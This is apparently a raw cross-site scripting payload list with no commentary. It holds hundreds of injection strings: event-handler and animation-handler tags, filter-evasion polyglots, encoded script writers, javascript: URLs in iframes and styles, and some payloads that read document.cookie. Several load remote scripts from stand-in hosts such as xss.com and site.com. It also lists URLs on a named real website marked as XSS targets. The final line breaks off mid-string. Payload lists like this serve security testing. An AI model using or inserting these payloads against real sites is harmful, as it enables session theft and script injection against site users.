<style>@keyframes slidein {}</style><article style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></article>
<style>@keyframes slidein {}</style><aside style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></aside>
<style>@keyframes slidein {}</style><audio style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></audio>
<style>@keyframes slidein {}</style><b style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></b>
<style>@keyframes slidein {}</style><base style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></base>
<style>@keyframes slidein {}</style><basefont style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></basefont>
<style>@keyframes slidein {}</style><bdi style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></bdi>
<style>@keyframes slidein {}</style><bdo style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></bdo>
<style>@keyframes slidein {}</style><bgsound style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></bgsound>
<style>@keyframes slidein {}</style><big style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></big>
<style>@keyframes slidein {}</style><blink style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></blink>
<style>@keyframes slidein {}</style><blockquote style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></blockquote>
<style>@keyframes slidein {}</style><body style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></body>
<style>@keyframes slidein {}</style><br style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></br>
<style>@keyframes slidein {}</style><button style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></button>
<style>@keyframes slidein {}</style><canvas style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></canvas>
<style>@keyframes slidein {}</style><caption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></caption>
<style>@keyframes slidein {}</style><center style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></center>
<style>@keyframes slidein {}</style><cite style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></cite>
<style>@keyframes slidein {}</style><code style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></code>
<style>@keyframes slidein {}</style><col style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></col>
<style>@keyframes slidein {}</style><colgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></colgroup>
<style>@keyframes slidein {}</style><command style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></command>
<style>@keyframes slidein {}</style><content style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></content>
<style>@keyframes slidein {}</style><data style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></data>
<style>@keyframes slidein {}</style><datalist style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></datalist>
<style>@keyframes slidein {}</style><dd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dd>
<style>@keyframes slidein {}</style><del style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></del>
<style>@keyframes slidein {}</style><details style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></details>
<style>@keyframes slidein {}</style><dfn style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dfn>
<style>@keyframes slidein {}</style><dialog style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dialog>
<style>@keyframes slidein {}</style><dir style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dir>
<style>@keyframes slidein {}</style><div style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></div>
<style>@keyframes slidein {}</style><dl style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dl>
<style>@keyframes slidein {}</style><dt style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></dt>
<style>@keyframes slidein {}</style><element style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></element>
<style>@keyframes slidein {}</style><em style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></em>
<style>@keyframes slidein {}</style><embed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></embed>
<style>@keyframes slidein {}</style><fieldset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></fieldset>
<style>@keyframes slidein {}</style><figcaption style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></figcaption>
<style>@keyframes slidein {}</style><figure style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></figure>
<style>@keyframes slidein {}</style><font style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></font>
<style>@keyframes slidein {}</style><footer style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></footer>
<style>@keyframes slidein {}</style><form style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></form>
<style>@keyframes slidein {}</style><frame style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></frame>
<style>@keyframes slidein {}</style><frameset style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></frameset>
<style>@keyframes slidein {}</style><h1 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></h1>
<style>@keyframes slidein {}</style><head style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></head>
<style>@keyframes slidein {}</style><header style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></header>
<style>@keyframes slidein {}</style><hgroup style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></hgroup>
<style>@keyframes slidein {}</style><hr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></hr>
<style>@keyframes slidein {}</style><html style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></html>
<style>@keyframes slidein {}</style><i style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></i>
<style>@keyframes slidein {}</style><iframe style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></iframe>
<style>@keyframes slidein {}</style><image style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></image>
<style>@keyframes slidein {}</style><img style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></img>
<style>@keyframes slidein {}</style><input style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></input>
<style>@keyframes slidein {}</style><ins style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></ins>
<style>@keyframes slidein {}</style><isindex style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></isindex>
<style>@keyframes slidein {}</style><kbd style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></kbd>
<style>@keyframes slidein {}</style><keygen style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></keygen>
<style>@keyframes slidein {}</style><label style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></label>
<style>@keyframes slidein {}</style><legend style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></legend>
<style>@keyframes slidein {}</style><li style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></li>
<style>@keyframes slidein {}</style><link style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></link>
<style>@keyframes slidein {}</style><listing style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></listing>
<style>@keyframes slidein {}</style><main style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></main>
<style>@keyframes slidein {}</style><map style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></map>
<style>@keyframes slidein {}</style><mark style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></mark>
<style>@keyframes slidein {}</style><marquee style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></marquee>
<style>@keyframes slidein {}</style><menu style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></menu>
<style>@keyframes slidein {}</style><menuitem style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></menuitem>
<style>@keyframes slidein {}</style><meta style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></meta>
<style>@keyframes slidein {}</style><meter style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></meter>
<style>@keyframes slidein {}</style><multicol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></multicol>
<style>@keyframes slidein {}</style><nav style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></nav>
<style>@keyframes slidein {}</style><nextid style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></nextid>
<style>@keyframes slidein {}</style><nobr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></nobr>
<style>@keyframes slidein {}</style><noembed style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></noembed>
<style>@keyframes slidein {}</style><noframes style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></noframes>
<style>@keyframes slidein {}</style><noscript style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></noscript>
<style>@keyframes slidein {}</style><object style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></object>
<style>@keyframes slidein {}</style><ol style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></ol>
<style>@keyframes slidein {}</style><option style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="prompt(1)"></option>
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
" onmouseover=confirm(9205) bad="
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=confirm() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=confirm()//>\x3e
" onclick=confirm(1)//<button ' onclick=confirm(1)//> */ confirm(1)//
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=confirm() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=confirm()//>\x3e
';confirm(String.fromCharCode(88,83,83))//';confirm(String. fromCharCode(88,83,83))//";confirm(String.fromCharCode (88,83,83))//";confirm(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83)) </SCRIPT>
'<script>confirm(1)</script>
<script>confirm(1)</script>                                                                                                         
<script>document.write('<img src=1 onerror=confirm(1)>');</script>
" onclick=confirm(1)//<button ‘ onclick=confirm(1)//> */ confirm(1)//
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=confirm(1) ><script>confirm(1)</script>@gmail.com<isindex formaction=javascript:confirm(/XSS/) type=submit>'-->" ></script><script>confirm(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
/*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-confirm(1)//><img src=1 onerror=confirm(1)>'
javascript://'/</title></style></textarea></script>--><p" onclick=confirm()//>*/confirm()/*
javascript://--></script></title></style>"/</textarea>*/<confirm()/*' onclick=confirm()//>a
javascript://</title>"/</script></style></textarea/-->*/<confirm()/*' onclick=confirm()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=confirm()//>*/confirm()/*
javascript://'//" --></textarea></style></script></title><b onclick= confirm()//>*/confirm()/*
javascript://</title></textarea></style></script --><li '//" '*/confirm()/*', onclick=confirm()//
javascript:confirm()//--></script></textarea></style></title><a"//' onclick=confirm()//>*/confirm()/*
--></script></title></style>"/</textarea><a' onclick=confirm()//>*/confirm()/*
/</title/'/</style/</script/</textarea/--><p" onclick=confirm()//>*/confirm()/*
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=confirm(1)//<button ‘ onclick=confirm(1)//> */ confirm(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=confirm(1)><script>confirm(1)</script>@gmail.com<isindex formaction=javascript:confirm(/XSS/) type=submit>'-->"></script><script>confirm(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
<div style="x:expression(confirm(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(confirm(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(confirm(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 confirm \028 1 \029 \029">Joker</div>
<iframe src="javascript:confirm(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<img src="1" onerror="confirm(1)" />
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
<style>body{background-color:expression\(confirm(1))}</style>
javascript://--></title></style></textarea></script><svg "//' onclick=confirm()//
/</title/'/</style/</script/--><p" onclick=confirm()//>*/confirm()/*
<"';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></
'%22()%26%25<><ScRiPt%20>confirm(1)</ScRiPt>

"><svg/onload=confirm(1)>
"onresize=confirm(1)>
<svg/onload=confirm(1) 
<svg><script>confirm&#40;1)<b>
<svg><script>confirm&#40;1)</script>
<<scr\0ipt/src=http://xss.com/xss.js></script
%253Cscript%253Econfirm('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousedown="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="confirm(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="confirm(String.fromCharCode(88,83,83))">
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="confirm(1)";
<INPUT TYPE="BUTTON" action="confirm('XSS')"/>
"><h1><IFRAME SRC="javascript:confirm('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="confirm(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:confirm('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="confirm(document.cookie)"></IFRAME>
"></iframe><script>confirm(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="confirm(document.cookie)"></IFRAME>123</h1>
"><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="confirm(document.cookie)"></IFRAME>
<iframe src=http://xss.rocks/scriptlet.html <
<iframe src="&Tab;javascript:confirm(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >confirm&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1) 
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=confirm(1)&NewLine;
<body onunload="javascript:confirm('XSS');">
<body onLoad="confirm('XSS');"
[color=red' onmouseover="confirm('xss')"]mouse over[/color]
"/></a></><img src=1.gif onerror=confirm(1)>
window.confirm("Bonjour !");
<div style="x:expression((window.r==1)?'':eval('r=1;
confirm(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?> onload=confirm('XSS')></iframe>
"><script confirm(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>XSS</h1></marquee>
'">><script>confirm('XSS')</script>
'">><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:confirm('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:confirm('XSS');\">
<script>var var = 1; confirm(var)</script>
<STYLE type="text/css">BODY{background:url("javascript:confirm('XSS')")}</STYLE>
<?='<SCRIPT>confirm("XSS")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
" onfocus=confirm(document.domain) "> <"
<FRAMESET><FRAME SRC=\"javascript:confirm('XSS');\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:confirm('XSS')\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>confirm(\"XSS\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:confirm(\"XSS\")>\";' > out
<br size=\"&{confirm('XSS')}\">
<scrscriptipt>confirm(1)</scrscriptipt>
</br style=a:expression(confirm())>
</script><script>confirm(1)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm("XSS")>
[color=red width=expression(confirm(123))][color]
<BASE HREF="javascript:confirm('XSS');//">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>confirm(123)</script>
<body onLoad="while(true) confirm('XSS');">
'"></title><script>confirm(1111)</script>
</textarea>'"><script>confirm(document.cookie)</script>
'""><script language="JavaScript"> confirm('X \nS \nS');</script>
</script></script><<<<script><>>>><<<script>confirm(123)</script>
<html><noconfirm><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE="IMAGE" SRC="javascript:confirm('XSS');">
'></select><script>confirm(123)</script>
'>"><script src = 'http://www.site.com/XSS.js'></script>
}</style><script>a=eval;b=confirm;a(b(/XSS/.source));</script>
<SCRIPT>document.write("XSS");</SCRIPT>
a="get";b="URL";c="javascript:";d="confirm('xss');";eval(a+b+c+d);
='><script>confirm("xss")</script>
<script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
<body background=javascript:'"><script>confirm(navigator.userAgent)</script>></body>
">/XaDoS/><script>confirm(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>confirm(document.cookie)</script>
src="http://www.site.com/XSS.js"></script>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
!--" /><script>confirm('xss');</script>
<script>confirm("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
"><script>confirm("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>confirm("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>confirm("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
<script>confirm(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>confirm(1337)</script>"><script>confirm("XSS by \nxss</h1></marquee>
'"></title><script>confirm(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:confirm('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
"><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
\'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
'); confirm('xss'); var x='
\\'); confirm(\'xss\');var x=\'
//--></SCRIPT><SCRIPT>confirm(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>confirm(561177485777)%3B</ScRiPt>
<img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u